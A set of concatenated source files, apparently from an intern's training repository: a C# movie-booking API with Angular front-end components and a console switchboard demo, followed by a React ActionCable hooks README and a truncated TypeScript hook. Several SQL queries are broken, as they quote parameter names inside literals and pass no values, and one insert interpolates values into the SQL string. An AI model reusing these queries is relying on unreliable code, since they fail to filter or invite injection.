public List<MovieProfile> GetMovies()
{
var selecetedMovies = this.Db.Query<Movie>("Select * from Movies").ToList();
var selectedMoviesProfiles = _mapper.Map<List<MovieProfile>>(selecetedMovies);
selectedMoviesProfiles.ForEach((MovieProfile movie) =>
{
movie.NumberOfLikes = GetLikesForMovie(movie.Id);
});
selectedMoviesProfiles = selectedMoviesProfiles.OrderByDescending(m => m.NumberOfLikes).ToList();
return selectedMoviesProfiles;
}
public List<Theatre> GetTheatres()
{
var theatres = this.Db.Query<Theatre>("Select * from Theatres").ToList();
return theatres;
}
public MovieProfile GetMovieById(int id)
{
var command = "select * from Movies where Id=@id";
Movie movie = this.Db.Query<Movie>(command, new { id }).FirstOrDefault();
MovieProfile movieprofile = _mapper.Map<MovieProfile>(movie);
if (movieprofile == null)
return null;
movieprofile.NumberOfLikes = GetLikesForMovie(movieprofile.Id);
movieprofile.Casts = GetCastsInMovie(movieprofile.Id);
return movieprofile;
}
public List<Cast> GetCastsInMovie(int movieId)
{
var command = "select * from Casts where MovieId=@movieId";
List<Cast> casts = this.Db.Query<Cast>(command, new { movieId }).ToList();
return casts;
}
public int GetLikesForMovie(int movieId)
{
var command = "select * from Likes where MovieId=@movieId";
var numberOfLikes = this.Db.Query<int>(command, new { movieId }).ToList().Count();
return numberOfLikes;
}
public List<MovieProfile> GetMoviesByLanguage(Language language)
{
var command = "select * from Movies where Language = '@language'";
var searchedMovies = this.Db.Query<MovieProfile>(command).ToList();
searchedMovies.ForEach((MovieProfile movie) => {
movie.NumberOfLikes = GetLikesForMovie(movie.Id);
});
return searchedMovies;
}
public List<MovieProfile> GetMoviesByGener(Gener gener)
{
var command = "select * from Movies where Gener = '@gener'";
var searchedResult = this.Db.Query<MovieProfile>(command).ToList();
searchedResult.ForEach((MovieProfile movie) => {
movie.NumberOfLikes = GetLikesForMovie(movie.Id);
});
return searchedResult;
}
public List<MovieProfile> GetMoviesByType(MovieType format)
{
var command = "select * from Movies where MovieType = '@format'";
var searchedResult = this.Db.Query<MovieProfile>(command).ToList();
searchedResult.ForEach((MovieProfile movie) => {
movie.NumberOfLikes = GetLikesForMovie(movie.Id);
});
return searchedResult;
}
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Router } from '@angular/router';
import { Subscription } from 'rxjs';
import { UserDetail } from '../Models/UserDetails';
import { AuthenticationService } from '../services/authentication.service';
import { HttpService } from '../services/http.service';
@Component({
selector: 'app-user-profile',
templateUrl: './user-profile.component.html',
styles: [
]
})
export class UserProfileComponent implements OnInit {
userDetails!: UserDetail;
UserSubscription! : Subscription;
constructor(private httpservice : HttpService , private router : Router,private auth : AuthenticationService) { }
ngOnInit(): void {
this.UserSubscription = this.auth.currentUser.subscribe(user => {
this.userDetails = user;
});
}
ngOnDestroy()
{
this.UserSubscription.unsubscribe();
}
onLogout()
{
this.auth.logout();
}
}
<file_sep>using Microsoft.AspNetCore.Identity;
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations.Schema;
using System.Text;
namespace Models.Authentication
{
public class ApplicationUser : IdentityUser
{
[Column(TypeName ="varchar(MAX)")]
public string FullName { get; set; }
[Column(TypeName ="bit")]
public bool IsAdmin { get; set; }
}
}
<file_sep>using NPoco;
using System;
using System.Collections.Generic;
using System.Text;
namespace Models.CoreModels
{
[TableName("Likes")]
[PrimaryKey("Id", AutoIncrement = true)]
public class LikesDetail
{
public int Id { get; set; }
public string UserId { get; set; }
public int MovieId { get; set; }
public bool IsLiked { get; set; }
}
}
<file_sep>using System;
namespace Item{
// Electronic Class which will be inherited by Fans,Acs,Bulbs Class
public class Electronic{
// Constructor to initialize the Electronic item's name
public Electronic(DeviceType Device,int Id,int DeviceId)
{
this.Id = Id;
this.DeviceId = DeviceId;
this.TypeOfDevice = Device;
}
public int Id {get; set;}
public int DeviceId {get; set;}
public bool IsSwitchedOn{ get; set;}
public DeviceType TypeOfDevice { get; set; }
public string Name
{
get
{
switch(this.TypeOfDevice)
{
case DeviceType.Fan :
return "Fan";
case DeviceType.Ac :
return "Ac";
case DeviceType.Bulb:
return "Bulb";
}
return "No Device";
}
set
{
}
}
// Get the Status of Device
public string DeviceStatus(bool IsSwitchedOn)
{
return IsSwitchedOn ? "ON" : "OFF";
}
// This will display the name with the status of Electronic Item
public void Display()
{
Console.WriteLine($"{this.Id}.) {this.Name}{this.DeviceId} is \"{this.DeviceStatus(this.IsSwitchedOn)}\"");
}
// This function will be called to change the status of Device
public void ChangeStatus()
{
this.IsSwitchedOn = !this.IsSwitchedOn;
}
}
public enum DeviceType
{
None,
Fan,
Ac,
Bulb
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Threading.Tasks;
using Models.DataModels;
using Models.Enums;
namespace Models.CoreModels
{
public class MovieProfile
{
[Key]
public int Id { get; set; }
public string Name { get; set; }
public string MovieImageUrl { get; set; }
public string PosterImageUrl { get; set; }
public List<Cast> Casts { get; set; }
public Language Languague { get; set; }
public Gener Gener { get; set; }
public MovieType MovieType { get; set; }
public CertificateType CertificateType { get; set; }
public string Description { get; set; }
public double MovieLength { get; set; }
public DateTime? ReleaseDate { get; set; }
public int NumberOfLikes { get; set; }
}
}
<file_sep>import { BookingDetail } from "./BookingDetails";
import { MovieHall } from "./MovieHall";
import { SeatDetail } from "./SeatDetails";
import { ShowsTimeTable } from "./ShowTimeTable";
export interface showhallprofile
{
totalSeatsBooked : Array<SeatDetail>;
movieHall : MovieHall;
showRecord : ShowsTimeTable;
} <file_sep>// export class BookingDetail
// {
// public id! : number;
// public seatNumber! : number;
// public showsTimeTableId! : number;
// public userId! : number;
// public userMobileNo! : string;
// public userEmail! : string;
// public amountPaid! : number;
// }
export interface BookingDetail
{
seatNumbers : Array<number>;
showId : number;
userId : string;
amountPaid : number;
}<file_sep>import { Gender, Role } from "./Enum";
export interface Cast{
id : number,
name : string,
description : string,
profileImageUrl : string,
gender : number,
role : number,
movieId : number
} <file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Threading.Tasks;
namespace Models.CoreModels
{
public class User
{
public string UserName { get; set; }
public string FullName { get; set; }
public string Email { get; set; }
public string MobileNumber { get; set; }
//public int AlternateNumber { get; set; }
//public DateTime DateOfBirth { get; set; }
//public string Gender { get; set; }
//public string Married { get; set; }
//public string Address { get; set; }
//public string Image { get; set; }
public string Password { get; set; }
}
}
<file_sep>using Models.CoreModels;
using Models.DataModels;
using Services;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Services.Interfaces;
namespace BookMyShow.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class SearchController : Controller
{
private readonly ILogger<SearchController> _logger;
private readonly ISearchService _service;
public SearchController(ILogger<SearchController> logger, ISearchService service)
{
_service = service;
_logger = logger;
}
[HttpGet("{name}")]
[Route("GetShowsByName/{name}")]
public List<MovieProfile> GetShowsByName([FromRoute]string name)
{
var shows = _service.GetMovieByName(name);
return shows;
}
public List<MovieProfile> GetShowsByTags(string tag)
{
var shows = _service.GetMovieByTags(tag);
return shows;
}
}
}
<file_sep>using System;
using Item;
namespace ElectronicItem{
// Bulb Class
public class Bulb : Electronic{
// Constructor
public Bulb(DeviceType Item,int Id,int ItemId) : base(Item,Id,ItemId)
{
}
}
}<file_sep>import { Component, Input, OnInit, Output,EventEmitter, SimpleChanges } from '@angular/core';
import { Contact } from '../Contact';
import {ContactServiceService} from '../Services/contact-service.service';
@Component({
selector: 'app-contact-details',
templateUrl: './contact-details.component.html',
styleUrls: []
})
export class ContactDetailsComponent implements OnInit {
@Output() contactDeleteEvent = new EventEmitter<Contact>();
@Input() contact:Contact;
editService: any;
constructor( private service : ContactServiceService) { }
ngOnInit() {
}
// Function to delete the contact card
delete_the_contact_card(){
let contactToBeDeleted = this.contact;
this.contactDeleteEvent.emit(contactToBeDeleted);
}
edit_contact_bttn(){
this.service.editContact(this.contact);
}
};
<file_sep>import { Component, OnInit, Output, EventEmitter, Input, OnChanges, SimpleChanges } from '@angular/core';
import { Subscription } from 'rxjs';
import { isNullOrUndefined } from 'util';
import { Contact } from '../Contact';
import { ContactServiceService } from '../Services/contact-service.service';
@Component({
selector: 'app-contact-list',
templateUrl: './contact-list.component.html',
styleUrls: []
})
export class ContactListComponent implements OnInit, OnChanges {
@Output() messageEvent = new EventEmitter<Contact>();
@Input() deleteContactCard: Contact;
// Preloaded Values in the contacts array
contacts: Contact[] = new Array();
selectedli: any;
addService: Subscription;
isEdit:boolean = false;
constructor(private service: ContactServiceService) { }
// This is done to check for the values of the Contact which is to be deleted , if it is changed and is not null or undefined then delete that contact
ngOnChanges(changes: SimpleChanges): void {
if (!isNullOrUndefined(this.deleteContactCard)) {
this.delete_contact_from_list(this.deleteContactCard);
this.deleteContactCard = null;
this.display_the_contact_information(this.contacts[0], 0);
}
}
// This will be called when the component is called and initialized
ngOnInit(): void {
this.contacts.push(new Contact({name:"<NAME>",email:"<EMAIL>",mobile:9292992929}));
this.contacts.push(new Contact({name:"<NAME>",email:"<EMAIL>",mobile:9292992929}));
this.contacts.push(new Contact({name:"<NAME>",email: "<EMAIL>",mobile: 92929292929,landline: 92929292929,website: "http://technovert.com",address: "123 Now here Sone StreetMadhapur, Hyderabad,500033"}));
this.contacts.push(new Contact({name:"<NAME>",email: "<EMAIL>", mobile:9292992159}));
// Display the first contact on the initial load of the document
this.display_the_contact_information(this.contacts[0], 0);
this.addService = this.service.contact.subscribe(newcontact => {
let contactToBeAdded = newcontact.contact;
this.isEdit = newcontact.isEdit
if (!this.isEdit && !isNullOrUndefined(contactToBeAdded) ) {
this.add_contact_card(contactToBeAdded);
}
else {
this.edit_contact_card(contactToBeAdded);
}
})
}
// Display the contact information, event emitter will emit the current Contact which is clicked to the parent Home Component
display_the_contact_information(currentContact: Contact, index) {
this.selectedli = index;
this.messageEvent.emit(currentContact);
}
// Function to delete the contact card only when it is not undefined
delete_contact_from_list(contactCard: Contact) {
if (isNullOrUndefined(contactCard))
return;
let index = this.contacts.findIndex(obj => obj.id == contactCard.id);
if (index != -1) {
this.contacts.splice(index, 1);
}
}
// Function to add the contact card in the list
add_contact_card(newGeneratedCard: Contact) {
this.contacts.push(newGeneratedCard);
let lastindex = this.contacts.length - 1;
this.display_the_contact_information(this.contacts[lastindex], lastindex);
}
// Function to edit the contact
edit_contact_card(contact: Contact) {
if (isNullOrUndefined(contact))
return;
let index = this.contacts.findIndex(obj => obj.id == contact.id);
if (index != -1) {
this.contacts[index] = contact;
this.display_the_contact_information(this.contacts[index],index);
}
}
}
<file_sep>using Models.CoreModels;
using Models.DataModels;
using Services.Interfaces;
using System;
using System.Collections.Generic;
using System.Text;
using PetaPoco;
using System.Linq;
using System.Diagnostics;
namespace Services.Implementations
{
public class BookingService : IBookingService
{
private readonly AutoMapper.IMapper _mapper;
public Database Db { get; set; }
public BookingService(AutoMapper.IMapper mapper, Database db)
{
this.Db = db;
_mapper = mapper;
}
public List<ShowRecord> GetBookings()
{
var bookings = this.Db.Query<ShowRecord>("Select * from Bookings").ToList();
return bookings;
}
public void AddBooking(TicketProfile booking)
{
booking.IsBooked = true;
booking.SeatNumbers.ForEach(seatNumber => {
var command = "insert into BookingDetails(SeatNumber,ShowId, AmountPaid,UserId,IsBooked)" + $"values( {seatNumber}, @ShowId, @AmountPaid,@UserId,@IsBooked)";
this.Db.Execute(command, booking);
});
}
public Theatre GetMovieHallById(int id)
{
var command = "select * from Theatres where Id=@id";
Theatre hall = this.Db.Query<Theatre>(command, new { id = id }).FirstOrDefault();
return hall;
}
public List<ShowAllDetails> GetHallForMovieProfiles(int movieId = -1)
{
Debug.WriteLine("Reached appdb {0}", movieId);
DateTime currdate = DateTime.Now;
//ORDER BY DateOfShow and DateOfShow>={currdate}
var command = $"Select * from Shows where MovieId=@movieId";
var selectedShows = this.Db.Query<ShowRecord>(command, new { movieId }).ToList();
List<ShowAllDetails> showHalls = new List<ShowAllDetails>();
selectedShows.ForEach((ShowRecord show) =>
{
ShowAllDetails currentProfile = new ShowAllDetails();
currentProfile.TotalSeatsBooked = GetBookedSeats(show.Id);
currentProfile.MovieHall = GetMovieHallById(show.TheatreId);
currentProfile.ShowRecord = show;
showHalls.Add(currentProfile);
});
return showHalls;
}
public List<ShowRecord> GetShowsTimeTableByMovieId(int movieId)
{
var selectedTimeTableRows = this.Db.Query<ShowRecord>("Select * from Shows where ShowId=@movieId", new { movieId = movieId }).ToList();
return selectedTimeTableRows;
}
public List<SeatDetail> GetBookedSeats(int showId)
{
var selectedSeats = this.Db.Query<SeatDetail>("Select SeatNumber,IsBooked from BookingDetails where ShowId=@showId and IsBooked=1", new { showId }).ToList();
return selectedSeats;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
namespace Models.DataModels
{
public class Ticket
{
public int Id { get; set; }
public string SeatNumber { get; set; }
public string ShowId { get; set; }
public string UserId { get; set; }
public string AmountPaid { get; set; }
public string IsBooked { get; set; }
public DateTime IsCreated { get; set; }
public DateTime IsUpdated { get; set; }
}
}
<file_sep>using System;
using System.Linq;
using System.Collections.Generic;
using Item;
using ElectronicItem;
class SwitchBoard {
// Show every Item with their Name and Status
public static void ShowElectronicMenu(List<Electronic> Devices)
{
Console.WriteLine("\nElectronic Items List: ");
for(int index=0;index<Devices.Count ;index++)
{
Devices.ElementAt(index).Display();
}
}
public static void ChangeStatusOfElectronicItem(List<Electronic> Devices)
{
while(true)
{
Console.Write("Enter the Device Number or Press 0 to Exit : ");
int selectedOption = Convert.ToInt32(Console.ReadLine());
if(selectedOption == 0)
{
break;
}
SelectAgain :
try
{
Electronic selectedDevice = Devices.Single(Device => Device.Id == selectedOption);
// Options which will be provided when user selects a valid Device
Console.WriteLine($"\n1.) Switch {selectedDevice.Name}{selectedDevice.DeviceId} {selectedDevice.DeviceStatus(!selectedDevice.IsSwitchedOn)}");
Console.WriteLine("2.) Back");
int currentSelection = Convert.ToInt32(Console.ReadLine());
if(currentSelection == 1)
{
selectedDevice.ChangeStatus();
}
else if(currentSelection != 2)
{
Console.WriteLine("\nWrong Selection --> Select Again");
goto SelectAgain;
}
}
catch(Exception )
{
Console.WriteLine("\nNo Device with that Device Number, Please Select Again\n");
continue;
}
ShowElectronicMenu(Devices);
}
Console.WriteLine("Good Bye!!");
}
// Main Function
static void Main(string[] args)
{
// Take the details of the quantity of fans,Acs & Bulbs
Console.WriteLine("Enter the Required Details :");
Console.Write("Number of Fans: ");
int NumberOfFan = Convert.ToInt32(Console.ReadLine());
Console.Write("Number of ACs: ");
int NumberOfAc = Convert.ToInt32(Console.ReadLine());
Console.Write("Number of Bulbs: ");
int NumberOfBulb = Convert.ToInt32(Console.ReadLine());
// Creating List of superclass to contain elements of every superclass
List<Electronic> Device = new List<Electronic>();
// Initializing the Items with their default Values
int totalItem = 1;
for(int index=0;index<NumberOfFan;index++)
{
Device.Add(new Fan(DeviceType.Fan,totalItem++,index+1));
}
for(int index=0;index<NumberOfAc;index++)
{
Device.Add(new Ac(DeviceType.Ac,totalItem++,index+1));
}
for(int index=0;index<NumberOfBulb;index++)
{
Device.Add(new Bulb(DeviceType.Bulb,totalItem++,index+1));
}
// Show the Initial Menu Of Items
ShowElectronicMenu(Device);
// This function will execute the whole process of changing the status of Electronic Item
ChangeStatusOfElectronicItem(Device);
}
}<file_sep>import { Component, OnInit } from '@angular/core';
import { GenresLabel, LanguageLabel, MovieTypeLabel } from '../Models/Enum';
import { Movie } from '../Models/Movie';
import { HttpService } from '../services/http.service';
@Component({
selector: 'app-movies',
templateUrl: './movies.component.html',
styles: [
]
})
export class MoviesComponent implements OnInit {
LanguageLabel = LanguageLabel;
GenresLabel = GenresLabel;
MovieTypeLabel = MovieTypeLabel;
languageFilters : Array<number> = [];
genresFilters : Array<number> = [];
movieTypeFilters : Array<number> = [];
slidemovies : Array<Movie> = [];
allMovies : Array<Movie> = [];
filterMovies : Array<Movie> = [];
constructor(private httpService : HttpService) { }
ngOnInit(): void {
this.getMovies();
}
toggleLanguageFilter(val : number)
{
if(this.languageFilters.includes(val))
{
const index = this.languageFilters.indexOf(val);
if(index > -1)
{
this.languageFilters.splice(index,1);
}
}
else
{
this.languageFilters.push(val);
}
this.moviesbyFilters();
// console.log("Language filters are ",this.languageFilters);
}
toggleGenersFilter(val : number)
{
if(this.genresFilters.includes(val))
{
const index = this.genresFilters.indexOf(val);
if(index > -1)
{
this.genresFilters.splice(index,1);
}
}
else
{
this.genresFilters.push(val);
}
this.moviesbyFilters();
}
toggleFormatFilter(val : number)
{
if(this.movieTypeFilters.includes(val))
{
const index = this.movieTypeFilters.indexOf(val);
if(index > -1)
{
this.movieTypeFilters.splice(index,1);
}
}
else
{
this.movieTypeFilters.push(val);
}
this.moviesbyFilters();
}
public getMovies = () =>
{
this.httpService.getMovies()
.subscribe((result) => {
console.log("res is ",result);
this.allMovies = result as Movie[];
this.slidemovies = this.allMovies;
this.exploreMovies();
console.log("in Movies page",this.allMovies);
},
(error) => {
console.error(error);
});
}
comingSoonMovies()
{
this.exploreMovies();
let today = new Date();
this.filterMovies = this.allMovies;
this.filterMovies = this.filterMovies.filter(x => {
let xDate = new Date(x.releaseDate);
// console.log(xDate,"and ",today);
return xDate >= today;
} );
// console.log(this.filterMovies);
}
exploreMovies()
{
this.filterMovies = this.allMovies;
this.languageFilters = [];
this.movieTypeFilters = [];
this.genresFilters = [];
// console.log("in explore func",this.filterMovies);
}
moviesbyFilters()
{
// console.log(this.languageFilters,this.movieTypeFilters,this.genresFilters);
this.filterMovies = this.allMovies;
if(this.languageFilters.length>0)
{
this.filterMovies = this.filterMovies.filter(x => this.languageFilters.includes(x.languague));
}
if(this.genresFilters.length>0)
{
this.filterMovies = this.filterMovies.filter(x => this.genresFilters.includes(x.gener));
}
if(this.movieTypeFilters.length>0)
{
this.filterMovies = this.filterMovies.filter(x => this.movieTypeFilters.includes(x.movieType));
}
// console.log("filtered movies are ",this.filterMovies);
}
}
<file_sep>using Models.CoreModels;
using Models.DataModels;
using System;
using System.Collections.Generic;
using System.Text;
namespace Services.Interfaces
{
public interface IBookingService
{
List<ShowRecord> GetBookings();
Theatre GetMovieHallById(int id);
void AddBooking(TicketProfile booking);
List<ShowAllDetails> GetHallForMovieProfiles(int MovieId);
List<SeatDetail> GetBookedSeats(int showsTimeTableId);
List<ShowRecord> GetShowsTimeTableByMovieId(int movieId);
}
}
<file_sep>using AutoMapper;
using Models.CoreModels;
using Models.DataModels;
using Models.Authentication;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Models.Enums;
namespace Services.Mappings
{
public class AutomapperProfile : Profile
{
public AutomapperProfile()
{
CreateMap<Movie, MovieProfile>()
.ForMember(dest => (Language)dest.Languague, opt => opt.MapFrom(src => src.Language));
CreateMap<MovieProfile, Movie>()
.ForMember(dest => dest.CertificateType, opt => opt.MapFrom(src => (int)src.CertificateType));
CreateMap<User, ApplicationUser>()
.ForMember(dest => dest.PhoneNumber, opt => opt.MapFrom(src => src.MobileNumber));
CreateMap<ApplicationUser, UserDetailProfile>()
.ForMember(dest => dest.MobileNumber, opt => opt.MapFrom(src => src.PhoneNumber));
}
}
}
<file_sep>import { HttpErrorResponse } from '@angular/common/http';
import { Component, OnInit } from '@angular/core';
import { FormArray, FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Router } from '@angular/router';
import { ToastrService } from 'ngx-toastr';
import { Gender, Role, Language, Gener, MovieType, CertificateType } from '../Models/Enum';
import { HttpService } from '../services/http.service';
@Component({
selector: 'app-add-movie',
templateUrl: './add-movie.component.html',
styles: [
]
})
export class AddMovieComponent implements OnInit {
movieForm! : FormGroup;
castForm! : FormGroup;
Gender : typeof Gender = Gender;
Role : typeof Role = Role;
Language : typeof Language = Language;
Gener : typeof Gener = Gener;
MovieType : typeof MovieType = MovieType;
CertificateType : typeof CertificateType = CertificateType;
roleKeys : Array<Role> = [];
genderKeys : Array<number> = [];
languageKeys : Array<number> = [];
generKeys : Array<number> = [];
movieTypeKeys : Array<number> = [];
certificateTypeKeys : Array<number> = [];
constructor(private formgroup : FormBuilder, private router : Router , private httpservice : HttpService, private toaster : ToastrService) {
this.genderKeys = Object.keys(Gender).filter(f => !isNaN(Number(f))).map(k => parseInt(k));
this.roleKeys = Object.keys(Role).filter(f => !isNaN(Number(f))).map(k => parseInt(k));
this.languageKeys = Object.keys(Language).filter(f => !isNaN(Number(f))).map(k => parseInt(k));
this.generKeys = Object.keys(Gener).filter(f => !isNaN(Number(f))).map(k => parseInt(k));
this.movieTypeKeys = Object.keys(MovieType).filter(f => !isNaN(Number(f))).map(k => parseInt(k));
this.certificateTypeKeys = Object.keys(CertificateType).filter(f => !isNaN(Number(f))).map(k => parseInt(k));
}
ngOnInit(): void {
console.log("called");
this.buildForm();
this.addCast();
}
buildForm()
{
this.movieForm = this.formgroup.group
({
name: ['', ],
movieImageUrl: ['', []],
posterImageUrl: ['',[]],
casts : new FormArray([]),
language : [0,],
gener : [0,],
movieType : [0,],
certificateType : [0,],
description : ['',],
movieLength : [0.00,],
releaseDate : [null,],
numberOfLikes : [0]
});
}
get formControls()
{
return this.movieForm.controls;
}
get formArray()
{
return this.formControls.casts as FormArray;
}
castFormGroup()
{
this.castForm = this.formgroup.group
({
name: ['', ],
description : ['',],
profileImageUrl: [''],
gender : [0,],
role : [0,],
});
return this.castForm;
}
// Add new Cast to the FormArray
addCast()
{
console.log("add cast");
this.formArray.push(this.castFormGroup());
}
// Remove the added Cast from the formArray
removeCast(i : number)
{
this.formArray.removeAt( i );
}
onSubmit()
{
console.log("form is ",this.movieForm.value);
this.httpservice.addMovie(this.movieForm.value)
.subscribe((res : any) =>
{
console.log("returned response",res);
this.toaster.success("Movie Saved", "Submission Successfull");
// this.router.navigateByUrl('/home');
},
(error : HttpErrorResponse) =>
{
console.error("the error is ",error);
}
);
}
}
<file_sep>import { Cast } from "./Cast";
import { CertificateType, Gener, Language, MovieType } from "./Enum";
export interface Movie{
id : number
name : string
movieImageUrl : string,
posterImageUrl : string,
casts : Array<Cast>,
languague : number,
gener : number,
movieType : number,
certificateType : number
description : string
releaseDate : Date
numberOfLikes : number
movieLength : number
} <file_sep>import { HttpErrorResponse } from '@angular/common/http';
import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { ActivatedRoute, Router } from '@angular/router';
import { ToastrService } from 'ngx-toastr';
import { AuthenticationService } from '../services/authentication.service';
import { HttpService } from '../services/http.service';
@Component({
selector: 'app-login',
templateUrl: './login.component.html',
styles: [
]
})
export class LoginComponent implements OnInit {
loginForm!: FormGroup;
constructor(private formBuilder : FormBuilder, public auth : AuthenticationService, private toaster : ToastrService ,private httpservice : HttpService,public route: ActivatedRoute, private router : Router) { }
ngOnInit(): void {
if(localStorage.getItem('token') != null)
{
this.router.navigateByUrl('/');
}
this.buildForm();
}
buildForm(){
this.loginForm = this.formBuilder.group({
username : ['',[Validators.required]],
password : ['',[Validators.required]],
});
}
onSubmit()
{
var body =
{
UserName: this.loginForm.value.username,
Password: <PASSWORD>
};
this.httpservice.userLogin(body)
.subscribe((result : any) =>
{
console.log("contact saved ",result);
localStorage.setItem('token',result.token);
this.toaster.success("User LoggedIn", "Authentication Successfull");
this.auth.isloggedin();
this.router.navigateByUrl('/');
},
(error : HttpErrorResponse) =>
{
console.error("the error is ",error);
if(error.status == 400)
{
this.toaster.error("Incorrect UserName or Password","Authentication Failed");
}
}
);
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
using Models.Enums;
using NPoco;
namespace Models.DataModels
{
[TableName("Casts")]
[PrimaryKey("Id", AutoIncrement = true)]
public class Cast
{
public int Id { get; set; }
public string Name { get; set; }
public string Description { get; set; }
public string ProfileImageUrl { get; set; }
public int Gender { get; set; }
public int Role { get; set; }
public int MovieId { get; set; }
}
}
<file_sep>using Models.CoreModels;
using Models.DataModels;
using Services;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Threading.Tasks;
using Services.Interfaces;
namespace BookMyShow.Controllers
{
[ApiController]
public class BookingController : ControllerBase
{
private readonly ILogger<BookingController> _logger;
private readonly IBookingService _service;
public BookingController(ILogger<BookingController> logger, IBookingService service)
{
_service = service;
_logger = logger;
}
[HttpGet]
[Route("api/[controller]")]
public List<ShowRecord> GetBookings()
{
var bookings = _service.GetBookings();
return bookings;
}
[HttpPost]
[Route("api/[controller]")]
public Boolean AddBooking([FromBody] TicketProfile bookingdetail)
{
bookingdetail.IsBooked = true;
//Debug.WriteLine("called this action method addbooking {0} {1}", bookingdetail?.SeatNumber, bookingdetail?.ShowsTimeTableId);
_service.AddBooking(bookingdetail);
return true;
}
[HttpGet("{movieId}")]
[Route("api/[controller]/GetHallForMovieProfiles/{movieId}")]
public List<ShowAllDetails> GetHallForMovieProfiles([FromRoute]int movieId)
{
Debug.WriteLine("called this action method gethall for movie profiles {0}",movieId);
var halls = _service.GetHallForMovieProfiles(movieId);
return halls;
}
[HttpGet("{showsTimeTableId}")]
[Route("api/[controller]/GetBookedseats/{showsTimeTableId}")]
public List<SeatDetail> GetBookedseats([FromRoute]int showsTimeTableId)
{
var seats = _service.GetBookedSeats(showsTimeTableId);
return seats;
}
[HttpGet]
[Route("api/[controller]/showstimetable")]
public List<ShowRecord> GetShowTimeTableByMovieId([FromRoute]int movieid)
{
var seats = _service.GetShowsTimeTableByMovieId(movieid);
return seats;
}
}
}
<file_sep>using Models.CoreModels;
using System;
using System.Collections.Generic;
using System.Text;
namespace Services.Interfaces
{
public interface IUserService
{
public List<LikesDetail> GetLikesOfUser(string userId);
public void AddLike(LikesDetail like);
// User Controller Methods
//ApplicationUser GetUserByEmail(string email);
//void AddUser(ApplicationUser user);
//ApplicationUser UpdateUser(ApplicationUser user);
//void DeleteUser(ApplicationUser user);
}
}
| 03e701cd68c50e54e45ec7d96a9439271c52d023 | [
"JavaScript",
"Markdown",
"INI",
"C#",
"TypeScript"
] | 69 | TypeScript | THE-VR7/Training-Tasks-In-Internship | 9e74e27638a03e4531950bb6154d258bc7871089 | 2a9d1e3e7ec75f008514482199c36e3ab76ef686 |
refs/heads/master | <file_sep>package main
import (
"fmt"
"image"
"image/jpeg"
_ "image/png"
"io/ioutil"
"os"
"runtime"
"strconv"
"strings"
"sync"
"time"
)
func init() {
runtime.GOMAXPROCS(runtime.NumCPU())
}
func main() {
if len(os.Args) != 3 {
panic("usage: png2jpg 90 ./")
}
quality, e := strconv.Atoi(os.Args[1])
if e != nil {
panic(e)
}
dirPath := os.Args[2]
files, e := ioutil.ReadDir(dirPath)
if e != nil {
panic(e)
}
totalStart := time.Now()
var wg sync.WaitGroup
for _, file := range files {
fileName := file.Name()
if !strings.HasSuffix(strings.ToLower(fileName), ".png") {
continue
}
wg.Add(1)
go func() {
defer wg.Done()
srcPath := dirPath + "/" + fileName
dstPath := srcPath[:len(srcPath)-4] + ".jpg"
fmt.Println("saving:", dstPath)
start := time.Now()
e := toJPG(srcPath, dstPath, quality)
if e != nil {
panic(e)
}
fmt.Println("done: ", dstPath, time.Since(start))
}()
}
wg.Wait()
fmt.Println("total cost: ", time.Since(totalStart))
}
func toJPG(imgPath, jpgPath string, quality int) error {
file, e := os.Open(imgPath)
defer file.Close()
if e != nil {
return e
}
img, _, e := image.Decode(file)
if e != nil {
fmt.Println("decode file failed:", imgPath)
return e
}
toFile, e := os.Create(jpgPath)
defer toFile.Close()
if e != nil {
return e
}
return jpeg.Encode(toFile, img, &jpeg.Options{Quality: quality})
}
<file_sep>PNG2JPG
=======
Convert PNG to JPG with specified quality level.
## Install
``` shell
> go get -u github.com/cjun714/png2jpg
```
## How to Use
``` shell
> png2jpg <quality> <png_dir> # example: png2jpg 85 ./
```
| 79f8ac6a153c4dc777152cb987cd7ff17f34d34b | [
"Markdown",
"Go"
] | 2 | Go | jonny91/png2jpg | 19fe33d59a19b61a063ce4d3248157aac8108895 | 9b618d6c4e44aa7efd0cd67ea2650132b6f577af |
refs/heads/master | <file_sep># React action cable (with hooks!)
a fun little action cable library.
Made with 💖 and TypeScript!
# The Context
after creatng your channels in rails, use the context provider to connect to your rails app:
the provider takes the following properties:
## Props
```ts
type ProviderProps = {
url?: string; // optional
LoadingComponent: JSX.Element; // Shown while connecting
devMode?: boolean;
};
```
## Context Provider
```ts
import { ActionCableProvider } from 'reaction-cable-hooks'
<ActionCableProvider {...props}>
<YourApp>
</ActionCableProvider>
```
# The Hook
### Props
```ts
type Props<ChannelDataSchema> = {
channel: string;
params: Record<string, string>;
// event handler for recieving channel data
received: (data: ChannelDataSchema) => void;
// Send data across the channel
send?: (data: ChannelDataSchema) => boolean;
onConnected?: () => void;
debug: boolean;
};
```
### Usage
```tsx
import { useSubscription } from "reaction-cable-hooks";
const YourComponent = () => {
const handleChannelUpdate = (data: SubscriptionResponse) => {
// do somehing with the response
console.log("channel update recieved", data)
};
const connection = useSubscription<SubscriptionResponse>({
channel: "SomeActionCableChannel",
params: { userId: "some-user-id" },
received: handleChannelUpdate,
});
const handleClick = () => {
if(connection.subscription)
connection.send({ message: "Hello SomeActionCableChannel!" })
}
return <div>
<button onClick={handleClick}>
</div>
};
```
<file_sep>import { useActionCableContext } from "contexts/ActionCable";
import ActionCable from "actioncable";
import { useEffect, useState } from "react";
export type UseSubscriptionProps<ChannelDataSchema> = {
channel: string;
params: Record<string, string>;
// event handler for recieving channel data
received: (data: ChannelDataSchema) => void;
// Send data across the channel
onConnected?: () => void;
debug: boolean;
};
type SubscriptionResponse<ChannelDataSchema> =
| {
